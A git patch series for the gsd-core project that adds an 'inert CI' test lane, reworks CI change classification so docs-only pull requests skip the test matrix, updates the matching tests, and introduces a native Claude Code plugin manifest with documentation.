needs: changes + if: needs.changes.outputs.code_changed == 'true' && needs.changes.outputs.product_changed != 'true' + runs-on: ubuntu-latest + timeout-minutes: 15 + env: + GSD_PLUGIN_ROOT: .ci-gsd-plugin-root-disabled + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + fetch-depth: 0 + persist-credentials: true + token: ${{ github.token }} + - name: Guard — require GitHub-hosted runner + run: node scripts/ci-guard-runner.cjs + - name: Rebase check — merge PR base branch into PR head + if: github.event_name == 'pull_request' + env: + GITHUB_TOKEN: ${{ github.token }} + run: node scripts/ci-rebase-check.cjs + - name: Set up Node.js 22 + uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0 + with: + node-version: 22 + cache: 'npm' + - name: Environment check + run: npm run check:env + - name: Install dependencies + run: npm ci + - name: Dependency integrity gate + run: node scripts/check-npm-integrity.cjs + - name: Prepare scoped test list + env: + TEST_SCOPE: targeted + TARGETED_TESTS: ${{ needs.changes.outputs.targeted_tests }} + WINDOWS_TESTS: ${{ needs.changes.outputs.windows_tests }} + run: node scripts/ci-prepare-test-scope.cjs + - name: Run scoped tests + run: node scripts/run-tests.cjs --files-from .ci-selected-tests.txt + test-full: name: full test (${{ matrix.os }}, ${{ matrix.node-version }}) needs: changes @@ -289,7 +332,7 @@ jobs: coverage: needs: changes - if: needs.changes.outputs.code_changed == 'true' + if: needs.changes.outputs.product_changed == 'true' runs-on: ubuntu-latest timeout-minutes: 15 env: @@ -336,6 +379,7 @@ jobs: - changes - lint-tests - test + - test-inert - test-full - coverage if: always() @@ -345,17 +389,21 @@ jobs: - name: Summarize required test gate env: CODE_CHANGED: ${{ needs.changes.outputs.code_changed }} + PRODUCT_CHANGED: ${{ needs.changes.outputs.product_changed }} CHANGES_RESULT: ${{ needs.changes.result }} LINT_RESULT: ${{ needs.lint-tests.result }} TEST_RESULT: ${{ needs.test.result }} + INERT_RESULT: ${{ needs.test-inert.result }} FULL_TEST_RESULT: ${{ needs.test-full.result }} COVERAGE_RESULT: ${{ needs.coverage.result }} run: | set -euo pipefail echo "code_changed=$CODE_CHANGED" + echo "product_changed=$PRODUCT_CHANGED" echo "changes=$CHANGES_RESULT" echo "lint-tests=$LINT_RESULT" echo "test=$TEST_RESULT" + echo "test-inert=$INERT_RESULT" echo "test-full=$FULL_TEST_RESULT" echo "coverage=$COVERAGE_RESULT" @@ -374,19 +422,24 @@ jobs: exit 0 fi - if [ "$TEST_RESULT" != "success" ]; then - echo "::error::test matrix did not pass" - exit 1 - fi - - if [ "$FULL_TEST_RESULT" != "success" ] && [ "$FULL_TEST_RESULT" != "skipped" ]; then - echo "::error::full parity matrix did not pass" - exit 1 - fi - - if [ "$COVERAGE_RESULT" != "success" ]; then - echo "::error::coverage did not pass" - exit 1 + if [ "$PRODUCT_CHANGED" = "true" ]; then + if [ "$TEST_RESULT" != "success" ]; then + echo "::error::test matrix did not pass" + exit 1 + fi + if [ "$FULL_TEST_RESULT" != "success" ] && [ "$FULL_TEST_RESULT" != "skipped" ]; then + echo "::error::full parity matrix did not pass" + exit 1 + fi + if [ "$COVERAGE_RESULT" != "success" ]; then + echo "::error::coverage did not pass" + exit 1 + fi + else + if [ "$INERT_RESULT" != "success" ]; then + echo "::error::inert CI lane did not pass" + exit 1 + fi fi echo "Required test gate passed." diff --git a/scripts/ci-test-scope.cjs b/scripts/ci-test-scope.cjs index 977c9d5c4..1028377a4 100644 --- a/scripts/ci-test-scope.cjs +++ b/scripts/ci-test-scope.cjs @@ -6,16 +6,84 @@ const { existsSync, readdirSync, appendFileSync } = require('fs'); const { ExitError, runMain } = require('./lib/cli-exit.cjs'); +// Workflow files that are purely administrative / policy bots. Changes to these +// files do NOT require the cross-platform test matrix — only a lightweight +// ubuntu lane running workflow-lint tests is needed. +// FAIL-SAFE: any .github/workflows/*.yml NOT listed here is treated as a +// pipeline workflow and gets the full matrix. New workflow files default to full. +const INERT_WORKFLOWS = new Set([ + 'stale.yml', + 'branch-cleanup.yml', + 'branch-naming.yml', + 'auto-label-issues.yml', + 'auto-branch.yml', + 'auto-backmerge.yml', + 'close-draft-prs.yml', + 'dismiss-unauthorized-pr-approvals.yml', + 'pr-gate.yml', + 'pr-target-validator.yml', + 'pr-template-format.yml', + 'require-issue-link.yml', + 'changeset-required.yml', + 'docs-required.yml', + 'discord-changelog.yml', +]); + +// Workflows that gate merges, ship the product, or run security/cross-platform +// suites — these must ALWAYS get the full pipeline treatment and can never be +// added to INERT_WORKFLOWS. A module-load assertion enforces this so a mistaken +// or malicious addition fails CI loudly in the `changes` job on every PR. +const PROTECTED_WORKFLOWS = new Set([ + 'test.yml', + 'install-smoke.yml', + 'mutation.yml', + 'security-scan.yml', + 'release.yml', +]); +for (const wf of PROTECTED_WORKFLOWS) { + if (INERT_WORKFLOWS.has(wf)) { + throw new Error(`ci-test-scope: protected workflow "${wf}" must not be in INERT_WORKFLOWS (it requires the full test matrix).`); + } +} + +/** + * Returns true if the path is an inert (non-pipeline) workflow file. + * Only `.github/workflows/` where is in INERT_WORKFLOWS qualifies. + */ +function isInertCi(filePath) { + if (!filePath.startsWith('.github/workflows/')) return false; + const name = filePath.slice('.github/workflows/'.length); + // Must be a direct child (no further slashes) and in the allowlist. + return !name.includes('/') && INERT_WORKFLOWS.has(name); +} + +// Tests shared by both the 'workflow automation' and 'inert CI' rules. +const WORKFLOW_LINT_TESTS = [ + 'tests/workflow-shell-pinning.test.cjs', + 'tests/pr-template-policy.test.cjs', + 'tests/lint-pr-check-project-dir.test.cjs', +]; + const RULES = [ { name: 'workflow automation', - match: path => path.startsWith('.github/workflows/') || path.startsWith('.github/rulesets/'), + // Only NON-inert .github/workflows/* and all .github/rulesets/* trigger full matrix. + // FAIL-SAFE: any .github/workflows/*.yml not in INERT_WORKFLOWS is treated as pipeline. + match: filePath => (filePath.startsWith('.github/workflows/') && !isInertCi(filePath)) || + filePath.startsWith('.github/rulesets/'), fullMatrix: true, tests: [ - 'tests/workflow-shell-pinning.test.cjs', + ...WORKFLOW_LINT_TESTS, 'tests/release-tarball-smoke-workflow.test.cjs', - 'tests/lint-pr-check-project-dir.test.cjs', - 'tests/pr-template-policy.test.cjs', + ], + }, + { + name: 'inert CI', + match: filePath => isInertCi(filePath), + fullMatrix: false, + tests: [ + ...WORKFLOW_LINT_TESTS, + 'tests/policy-lint-shallow-checkout.test.cjs', ], }, { @@ -144,14 +212,6 @@ const RULES = [ 'tests/docs-parity-live-registry.test.cjs', ], }, - { - name: 'docs content', - match: path => path.startsWith('docs/'), - fullMatrix: false, - tests: [ - 'tests/docs-parity-live-registry.test.cjs', - ], - }, { name: 'configuration', match: path => ['config', 'configuration', 'model-catalog', 'model-profile'].some(k => path.includes(k)), @@ -251,16 +311,30 @@ function classify(files) { const targeted = new Set(); const windows = new Set(); const reasons = []; - let codeChanged = false; + let productOrPipelineChanged = false; // product/pipeline code (excludes docs) + let inertCiChanged = false; // inert workflow files let fullMatrix = false; for (const file of files) { - if (['bin/', 'gsd-core/', 'agents/', 'commands/', 'docs/', 'hooks/', 'tests/', 'scripts/'].some(p => file.startsWith(p)) || + // Determine if this file is product/pipeline code. + // docs/ and root-level .md files are intentionally excluded. + if ( + ['bin/', 'src/', 'gsd-core/', 'agents/', 'commands/', 'hooks/', 'tests/', 'scripts/'].some(p => file.startsWith(p)) || file === 'package.json' || file === 'package-lock.json' || (file.startsWith('tsconfig') && file.endsWith('.json')) || - file.startsWith('.github/workflows/') || - file.startsWith('.github/rulesets/')) { - codeChanged = true; + file.startsWith('.github/rulesets/') + ) { + productOrPipelineChanged = true; + } + + // Non-inert .github/workflows/* are pipeline code → full matrix. + if (file.startsWith('.github/workflows/') && !isInertCi(file)) { + productOrPipelineChanged = true; + } + + // Inert workflow files set a lightweight signal. + if (isInertCi(file)) { + inertCiChanged = true; } if (file.startsWith('tests/') && file.endsWith('.test.cjs')) { @@ -280,6 +354,10 @@ function classify(files) { } } + // code_changed: true when product/pipeline OR inert CI changed. + // Docs-only PRs (neither flag set) get code_changed=false → full matrix skip. + const codeChanged = productOrPipelineChanged || inertCiChanged; + const targetedTests = existingTests([...targeted].sort()); // When code changed but no rule matched any changed file, fall back to the @@ -290,8 +368,25 @@ function classify(files) { const windowsTests = existingTests([...new Set([...windows, ...targetedTests.filter(isWindowsHint)])].sort()); + // Inert-CI-only: full_matrix must be false (override any RULES that fired). + if (inertCiChanged && !productOrPipelineChanged) { + fullMatrix = false; + } + + // Normalize: when code_changed is false, the output must be self-consistent. + // A docs file can coincidentally match a coarse content RULE (e.g. docs/installer-migrations.md + // matches the installer rule via path.includes('install')), leaving full_matrix=true and + // non-empty targeted_tests/windows_tests. The workflow skips correctly (gated on code_changed) + // but the output object would be self-contradictory. Force a clean "nothing to run" result. + if (!codeChanged) { + fullMatrix = false; + targetedTests.length = 0; + windowsTests.length = 0; + } + return { code_changed: codeChanged, + product_changed: productOrPipelineChanged, full_matrix: fullMatrix, targeted_tests: targetedTests, windows_tests: windowsTests, @@ -303,6 +398,7 @@ function writeOutputs(result) { if (!process.env.GITHUB_OUTPUT) return; const lines = [ `code_changed=${result.code_changed}`, + `product_changed=${result.product_changed}`, `full_matrix=${result.full_matrix}`, `targeted_tests=${result.targeted_tests.join(' ')}`, `windows_tests=${result.windows_tests.join(' ')}`, @@ -313,6 +409,7 @@ function writeOutputs(result) { function main() { try { const args = parseArgs(process.argv.slice(2)); + const files = changedFiles(args); const result = classify(files); result.changed_files = files; diff --git a/tests/ci-test-scope.test.cjs b/tests/ci-test-scope.test.cjs index 2ce8d4f1d..a242cee4e 100644 --- a/tests/ci-test-scope.test.cjs +++ b/tests/ci-test-scope.test.cjs @@ -4,9 +4,11 @@ const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const { spawnSync } = require('child_process'); const path = require('path'); +const fs = require('fs'); const ROOT = path.join(__dirname, '..'); const SCRIPT = path.join(ROOT, 'scripts', 'ci-test-scope.cjs'); +const WORKFLOWS_DIR = path.join(ROOT, '.github', 'workflows'); function scopeFor(files) { const r = spawnSync(process.execPath, [SCRIPT, '--files', files.join(' ')], { @@ -18,25 +20,124 @@ function scopeFor(files) { } describe('ci-test-scope.cjs', () => { - test('docs-only changes mark code_changed and select docs-parity (new correct contract)', () => { + test('docs-only changes: code_changed is false, product_changed false (skip matrix entirely)', () => { const result = scopeFor(['docs/usage.md']); - assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false for docs-only change, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs-only change, got: ${JSON.stringify(result)}`); assert.strictEqual(result.full_matrix, false); + // docs-parity is NOT in targeted_tests when docs-only (it runs via docs-required.yml instead) assert.ok( - result.targeted_tests.some(t => t.includes('docs-parity-live-registry')), - `expected docs-parity-live-registry in targeted_tests, got: ${JSON.stringify(result.targeted_tests)}`, + !result.targeted_tests.some(t => t.includes('docs-parity-live-registry')), + `docs-parity-live-registry must NOT be in targeted_tests for docs-only, got: ${JSON.stringify(result.targeted_tests)}`, ); }); - test('workflow changes request full matrix and workflow contract tests', () => { + test('root markdown only: code_changed is false, product_changed false', () => { + const result = scopeFor(['README.md']); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false for root markdown, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for root markdown, got: ${JSON.stringify(result)}`); + }); + + test('pipeline workflow (test.yml) — product_changed true, full_matrix true, workflow contract tests', () => { const result = scopeFor(['.github/workflows/test.yml']); assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for test.yml, got: ${JSON.stringify(result)}`); assert.strictEqual(result.full_matrix, true); assert.ok(result.targeted_tests.includes('tests/workflow-shell-pinning.test.cjs')); assert.ok(result.targeted_tests.includes('tests/release-tarball-smoke-workflow.test.cjs')); assert.ok(result.windows_tests.includes('tests/workflow-shell-pinning.test.cjs')); }); + test('pipeline workflow (install-smoke.yml) — product_changed true, full_matrix true', () => { + const result = scopeFor(['.github/workflows/install-smoke.yml']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for install-smoke.yml, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, true); + }); + + test('inert CI only (stale.yml) — code_changed true, product_changed false, full_matrix false', () => { + const result = scopeFor(['.github/workflows/stale.yml']); + assert.strictEqual(result.code_changed, true, + `expected code_changed=true for inert CI, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for inert CI, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, false, + `expected full_matrix=false for inert CI, got: ${JSON.stringify(result)}`); + assert.ok(result.targeted_tests.includes('tests/workflow-shell-pinning.test.cjs'), + `expected workflow-shell-pinning in targeted_tests, got: ${JSON.stringify(result.targeted_tests)}`); + assert.ok(result.targeted_tests.includes('tests/policy-lint-shallow-checkout.test.cjs'), + `expected policy-lint-shallow-checkout in targeted_tests for inert CI, got: ${JSON.stringify(result.targeted_tests)}`); + }); + + test('TS runtime sources (src/semver.cts) — code_changed true, product_changed true, full_matrix false, semver tests targeted', () => { + const result = scopeFor(['src/semver.cts']); + assert.strictEqual(result.code_changed, true, + `expected code_changed=true for src/ change, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for src/ change, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, false, + `expected full_matrix=false for src/-only change (TS runtime sources rule has no fullMatrix), got: ${JSON.stringify(result)}`); + assert.ok(result.targeted_tests.includes('tests/semver-compare.test.cjs'), + `expected semver-compare in targeted_tests, got: ${JSON.stringify(result.targeted_tests)}`); + }); + + test('product code (gsd-core/bin/lib/foo.cjs) — product_changed true', () => { + const result = scopeFor(['gsd-core/bin/lib/foo.cjs']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for gsd-core/ change, got: ${JSON.stringify(result)}`); + }); + + test('unknown/new workflow defaults to pipeline (fail-safe) — product_changed true', () => { + const result = scopeFor(['.github/workflows/brand-new-thing.yml']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for unknown workflow (fail-safe), got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, true, + `expected full_matrix=true for unknown workflow (fail-safe), got: ${JSON.stringify(result)}`); + }); + + test('mixed docs + code — escalates to product_changed true', () => { + // Use bin/gsd (installer rule, fullMatrix:true) to get a code file that reliably triggers full matrix. + const result = scopeFor(['docs/x.md', 'bin/gsd']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for docs+code, got: ${JSON.stringify(result)}`); + }); + + test('inert CI (docs-required.yml) — includes shallow-checkout policy test, product_changed false', () => { + const result = scopeFor(['.github/workflows/docs-required.yml']); + assert.strictEqual(result.code_changed, true, + `expected code_changed=true for docs-required.yml, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs-required.yml, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, false, + `expected full_matrix=false for docs-required.yml, got: ${JSON.stringify(result)}`); + assert.ok(result.targeted_tests.includes('tests/policy-lint-shallow-checkout.test.cjs'), + `expected policy-lint-shallow-checkout in targeted_tests for docs-required.yml, got: ${JSON.stringify(result.targeted_tests)}`); + }); + + test('mixed docs + inert CI — code_changed true, product_changed false (inert lane)', () => { + const result = scopeFor(['docs/x.md', '.github/workflows/stale.yml']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs+inert, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, false); + }); + + test('mixed docs + src — product_changed true', () => { + const result = scopeFor(['docs/x.md', 'src/semver.cts']); + assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for docs+src, got: ${JSON.stringify(result)}`); + }); + test('command changes request command tests without full parity matrix', () => { const result = scopeFor(['commands/gsd/plan-phase.md']); assert.strictEqual(result.code_changed, true); @@ -54,6 +155,8 @@ describe('ci-test-scope.cjs', () => { test('installer-sensitive changes request full matrix and install tests', () => { const result = scopeFor(['bin/gsd']); assert.strictEqual(result.code_changed, true); + assert.strictEqual(result.product_changed, true, + `expected product_changed=true for bin/gsd, got: ${JSON.stringify(result)}`); assert.strictEqual(result.full_matrix, true); assert.ok(result.targeted_tests.includes('tests/install.test.cjs')); assert.ok(result.targeted_tests.includes('tests/release-tarball-smoke.install.test.cjs')); @@ -120,25 +223,27 @@ describe('ci-test-scope superset invariant (#494)', () => { `expected full_matrix=true for tests/** change, got: ${JSON.stringify(result)}`); }); - // Facet B: docs/**, commands/**, agents/** → code_changed AND docs-parity selected - test('B1: docs/adr change marks code_changed and selects docs-parity-live-registry', () => { + // Facet B: commands/**, agents/** → code_changed AND docs-parity selected + // docs/ is NO LONGER in this facet — docs-only PRs skip the matrix entirely. + test('B1: docs/adr change: code_changed is false (docs skip matrix)', () => { const result = scopeFor(['docs/adr/22-plan-drift-guard.md']); - assert.strictEqual(result.code_changed, true, - `expected code_changed=true for docs/** change, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false for docs/** change (matrix skip), got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs/** change, got: ${JSON.stringify(result)}`); + // docs-parity is NOT in targeted_tests (handled by docs-required.yml) assert.ok( - result.targeted_tests.some(t => t.includes('docs-parity-live-registry')), - `expected docs-parity-live-registry in targeted_tests, got: ${JSON.stringify(result.targeted_tests)}`, + !result.targeted_tests.some(t => t.includes('docs-parity-live-registry')), + `docs-parity-live-registry must NOT be in targeted_tests for docs-only, got: ${JSON.stringify(result.targeted_tests)}`, ); }); - test('B2: docs locale dir change marks code_changed and selects docs-parity-live-registry', () => { + test('B2: docs locale dir change: code_changed is false (docs skip matrix)', () => { const result = scopeFor(['docs/ja-JP/USAGE.md']); - assert.strictEqual(result.code_changed, true, - `expected code_changed=true for docs/ja-JP/** change, got: ${JSON.stringify(result)}`); - assert.ok( - result.targeted_tests.some(t => t.includes('docs-parity-live-registry')), - `expected docs-parity-live-registry in targeted_tests, got: ${JSON.stringify(result.targeted_tests)}`, - ); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false for docs/ja-JP/** change, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs/ja-JP/** change, got: ${JSON.stringify(result)}`); }); test('B3: commands/** change selects docs-parity-live-registry', () => { @@ -149,3 +254,138 @@ describe('ci-test-scope superset invariant (#494)', () => { ); }); }); + +describe('INERT_WORKFLOWS allowlist integrity guard', () => { + // Load the INERT_WORKFLOWS set from the script by spawning it and using --files + // on a sentinel path, then separately verify the set contents via the filesystem. + + // Known pipeline workflows that MUST NOT appear in INERT_WORKFLOWS. + // Must stay in sync with PROTECTED_WORKFLOWS in scripts/ci-test-scope.cjs. + const KNOWN_PIPELINE = [ + 'test.yml', + 'install-smoke.yml', + 'mutation.yml', + 'security-scan.yml', + 'release.yml', + ]; + + // Canonical inert workflow list — reused by both tests below. + const knownInert = [ + 'stale.yml', 'branch-cleanup.yml', 'branch-naming.yml', 'auto-label-issues.yml', + 'auto-branch.yml', 'auto-backmerge.yml', 'close-draft-prs.yml', + 'dismiss-unauthorized-pr-approvals.yml', 'pr-gate.yml', 'pr-target-validator.yml', + 'pr-template-format.yml', 'require-issue-link.yml', 'changeset-required.yml', + 'docs-required.yml', 'discord-changelog.yml', + ]; + + test('all entries in INERT_WORKFLOWS exist under .github/workflows/', () => { + // We derive the inert set implicitly: any .github/workflows/*.yml that produces + // full_matrix=false when passed alone is inert. We check the known inert names + // against the filesystem instead. + // The canonical list is in the script — we verify each named file exists. + for (const name of knownInert) { + const fullPath = path.join(WORKFLOWS_DIR, name); + assert.ok( + fs.existsSync(fullPath), + `INERT_WORKFLOWS entry '${name}' does not exist at ${fullPath}`, + ); + } + }); + + test('known pipeline workflows are NOT treated as inert (product_changed true, full_matrix true)', () => { + for (const name of KNOWN_PIPELINE) { + const result = scopeFor([`.github/workflows/${name}`]); + assert.strictEqual(result.product_changed, true, + `${name} must be pipeline (product_changed=true), got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, true, + `${name} must be pipeline (full_matrix=true), got: ${JSON.stringify(result)}`); + } + }); + + // Explicit per-workflow guard: each of the five protected workflows must route to + // the full matrix. This documents intent and proves that PROTECTED_WORKFLOWS + // enforcement is covered end-to-end via the spawn helper. + test('all five PROTECTED_WORKFLOWS individually route to full matrix (tamper-evidence)', () => { + const protected_ = [ + 'test.yml', + 'install-smoke.yml', + 'mutation.yml', + 'security-scan.yml', + 'release.yml', + ]; + for (const name of protected_) { + const result = scopeFor([`.github/workflows/${name}`]); + assert.strictEqual(result.product_changed, true, + `PROTECTED_WORKFLOW ${name}: expected product_changed=true, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, true, + `PROTECTED_WORKFLOW ${name}: expected full_matrix=true, got: ${JSON.stringify(result)}`); + } + }); + + test('every inert workflow produces code_changed=true, product_changed=false, and full_matrix=false', () => { + for (const name of knownInert) { + const result = scopeFor([`.github/workflows/${name}`]); + assert.strictEqual(result.code_changed, true, + `${name}: expected code_changed=true`); + assert.strictEqual(result.product_changed, false, + `${name}: expected product_changed=false`); + assert.strictEqual(result.full_matrix, false, + `${name}: expected full_matrix=false`); + } + }); +}); + +describe('code_changed=false implies clean output invariant', () => { + // Fix 1: when code_changed is false, full_matrix, targeted_tests, windows_tests + // must ALL be empty/false — even if a docs path coincidentally + // matches a content rule via coarse substring (e.g. path.includes('install') or + // path.includes('config')). + + test('docs-only: code_changed=false → product_changed=false, full_matrix=false, empty targeted_tests', () => { + const result = scopeFor(['docs/usage.md']); + assert.strictEqual(result.code_changed, false); + assert.strictEqual(result.product_changed, false); + assert.strictEqual(result.full_matrix, false); + assert.deepStrictEqual(result.targeted_tests, []); + }); + + // docs/installer-migrations.md contains 'install' → would match the installer rule + // via path.includes('install'). Normalization must suppress the contradictory output. + test('docs/installer-migrations.md: code_changed=false AND product_changed=false AND full_matrix=false AND empty targeted_tests', () => { + const result = scopeFor(['docs/installer-migrations.md']); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false for docs/installer-migrations.md, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false, + `expected product_changed=false for docs/installer-migrations.md, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.full_matrix, false, + `expected full_matrix=false for docs/installer-migrations.md, got: ${JSON.stringify(result)}`); + assert.deepStrictEqual(result.targeted_tests, [], + `expected empty targeted_tests for docs/installer-migrations.md, got: ${JSON.stringify(result.targeted_tests)}`); + }); + + // docs/how-to/configure-model-profiles.md contains 'config' → matches configuration rule. + test('docs path matching config rule: code_changed=false → empty output (coarse-substring docs suppressed)', () => { + const result = scopeFor(['docs/how-to/configure-model-profiles.md']); + assert.strictEqual(result.code_changed, false, + `expected code_changed=false, got: ${JSON.stringify(result)}`); + assert.strictEqual(result.product_changed, false); + assert.strictEqual(result.full_matrix, false); + assert.deepStrictEqual(result.targeted_tests, []); + }); + + // code_changed=true must produce >= 1 targeted_test or 'unit' fallback. + test('code_changed=true implies non-empty targeted_tests', () => { + for (const files of [ + ['src/semver.cts'], + ['bin/gsd'], + ['.github/workflows/test.yml'], + ['.github/workflows/stale.yml'], + ]) { + const result = scopeFor(files); + assert.strictEqual(result.code_changed, true, + `expected code_changed=true for ${files}, got: ${JSON.stringify(result)}`); + assert.ok(result.targeted_tests.length >= 1, + `expected >= 1 targeted_test for ${files}, got: ${JSON.stringify(result.targeted_tests)}`); + } + }); +}); From f66c4a082c7d4f5c61760b13647912f02c79978c Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 12:02:39 -0400 Subject: [PATCH 46/94] feat(#766): distribute gsd-core as a native Claude Code plugin (#797) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(#766): distribute gsd-core as a native Claude Code plugin Add an additive .claude-plugin/plugin.json manifest plus hooks/hooks.json so gsd-core can be installed as a first-class Claude Code plugin (marketplace or zero-friction @skills-dir), with /gsd-core: namespaced commands and lifecycle management — alongside the unchanged npm/file-copy installer. - .claude-plugin/plugin.json: validated with 'claude plugin validate --strict' - hooks/hooks.json: mirrors the installer's always-on Claude hook wiring via ${CLAUDE_PLUGIN_ROOT} - package.json: ship .claude-plugin in the npm tarball - tests/issue-766-plugin-manifest.test.cjs: manifest + always-on-hook-contract drift guards - docs: install-on-your-runtime.md + FEATURES.md Closes #766 Co-Authored-By: Claude Opus 4.8 * docs(#766): add ADR-766 + glossary entry for Claude Code Plugin Manifest Module Record the plugin manifest as the Seam projecting gsd-core's artifact surfaces onto the Claude Code plugin contract (sibling of the Runtime Artifact Layout Module, ADR-3660), with the defined kind->field mapping and the always-on hook projection rule. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../766-native-claude-plugin-manifest.md | 5 + .claude-plugin/plugin.json | 16 + CONTEXT.md | 3 + docs/FEATURES.md | 2 + .../766-claude-code-plugin-manifest-module.md | 70 ++++ docs/adr/README.md | 1 + docs/how-to/install-on-your-runtime.md | 44 +++ hooks/hooks.json | 40 ++ package.json | 1 + tests/issue-766-plugin-manifest.test.cjs | 373 ++++++++++++++++++ 10 files changed, 555 insertions(+) create mode 100644 .changeset/766-native-claude-plugin-manifest.md create mode 100644 .claude-plugin/plugin.json create mode 100644 docs/adr/766-claude-code-plugin-manifest-module.md create mode 100644 hooks/hooks.json create mode 100644 tests/issue-766-plugin-manifest.test.cjs diff --git a/.changeset/766-native-claude-plugin-manifest.md b/.changeset/766-native-claude-plugin-manifest.md new file mode 100644 index 000000000..9e4cdf9e7 --- /dev/null +++ b/.changeset/766-native-claude-plugin-manifest.md @@ -0,0 +1,5 @@ +--- +type: Added +pr: 797 +--- +**gsd-core can now be installed as a native Claude Code plugin** — a new `.claude-plugin/plugin.json` manifest enables installing gsd-core via `claude plugin install` or the zero-friction `~/.claude/skills/` auto-load path (`gsd-core@skills-dir`), with slash commands auto-namespaced as `/gsd-core:` (e.g. `/gsd-core:plan-phase`) and lifecycle management via `claude plugin enable|disable|update`. gsd-core's always-on guard and update hooks are wired for the plugin path through `hooks/hooks.json` using `${CLAUDE_PLUGIN_ROOT}`. This is additive — the existing npm / file-copy installer is unchanged. diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json new file mode 100644 index 000000000..68df04eb6 --- /dev/null +++ b/.claude-plugin/plugin.json @@ -0,0 +1,16 @@ +{ + "name": "gsd-core", + "displayName": "GSD Core", + "version": "1.3.1-dev.0", + "description": "GSD Core is a meta-prompting, context engineering, and spec-driven development system for AI coding agents.", + "author": { + "name": "open-gsd", + "url": "https://github.com/open-gsd" + }, + "homepage": "https://github.com/open-gsd/gsd-core", + "repository": "https://github.com/open-gsd/gsd-core", + "license": "MIT", + "keywords": ["spec-driven-development", "planning", "workflow", "context-engineering", "claude-code", "gsd"], + "commands": "./commands/gsd/", + "hooks": "./hooks/hooks.json" +} diff --git a/CONTEXT.md b/CONTEXT.md index 30acfb6c9..449508464 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -124,6 +124,9 @@ Projects a pure, typed install plan for a given runtime by composing artifact pl ### Runtime Config Adapter Registry Module owning the explicit per-runtime config-mutation dispatch table for the installer. `resolveRuntimeConfigIntent(runtime)` projects a typed config intent — `installSurface` (`settings-json` | `codex-toml` | `copilot-instructions` | `cline-rules` | `profile-marker-only`), `writesSharedSettings` (the `finishInstall` shared-settings write gate), and `finishPermissionWriter` (`opencode` | `kilo` | none) — that `bin/install.js` dispatches on instead of inline `runtime === '...'` branching. Owns adapter selection only: it performs no filesystem IO and does not execute config mutations (the install/finishInstall handlers and the per-runtime writers do that). Unknown runtimes fail loudly with a `TypeError`, guarded by an `Object.hasOwn` own-property check so prototype-chain keys (`__proto__`, `constructor`) also throw. Realizes the adapter-selection half of the Runtime Install Policy Module boundary. Source: `gsd-core/bin/lib/runtime-config-adapter-registry.cjs`. See ADR-58, #60. +### Claude Code Plugin Manifest Module +Module owning the projection of gsd-core's artifact surfaces (`commands`, `agents`, hooks) onto the Claude Code plugin contract (`.claude-plugin/plugin.json` + `hooks/hooks.json`) — the plugin-contract sibling of the Runtime Artifact Layout Module (which projects the same surfaces onto filesystem placements). Defined mapping: `name`=`binName` (drives the `/gsd-core:` command namespace), `repository`/`homepage`=`repoUrl` (Package Identity Module), `version`/`description`/`license` from `package.json` (`version` is required for `claude plugin validate --strict`), `commands`=`./commands/gsd/`, agents via Claude Code's default `agents/` discovery (the explicit string form is schema-rejected), `hooks`=`./hooks/hooks.json`. The hook projection carries ONLY the always-on subset of the Installer Module's Claude `settings.json` wiring (check-update, context-monitor, prompt-guard, read-guard, worktree-path-guard, read-injection-scanner) via `${CLAUDE_PLUGIN_ROOT}`; config-gated opt-in hooks are excluded because a static manifest cannot honor per-project config gates, and plugin-shipped agents cannot carry hook frontmatter (so all plugin-path hook wiring lives in hooks.json). Additive — the file-copy path (Runtime Artifact Layout / Install Policy / Installer Modules) is unchanged. Conformance is validated by `claude plugin validate --strict` plus the in-repo drift-guard `tests/issue-766-plugin-manifest.test.cjs`. _Avoid_: "the plugin API", "the plugin file" (when you mean the seam). See ADR-766 and Runtime Artifact Layout Module. + ### Knowledge Graph Module Module owning the graphify integration: config gate (`isGraphifyEnabled`), disabled response 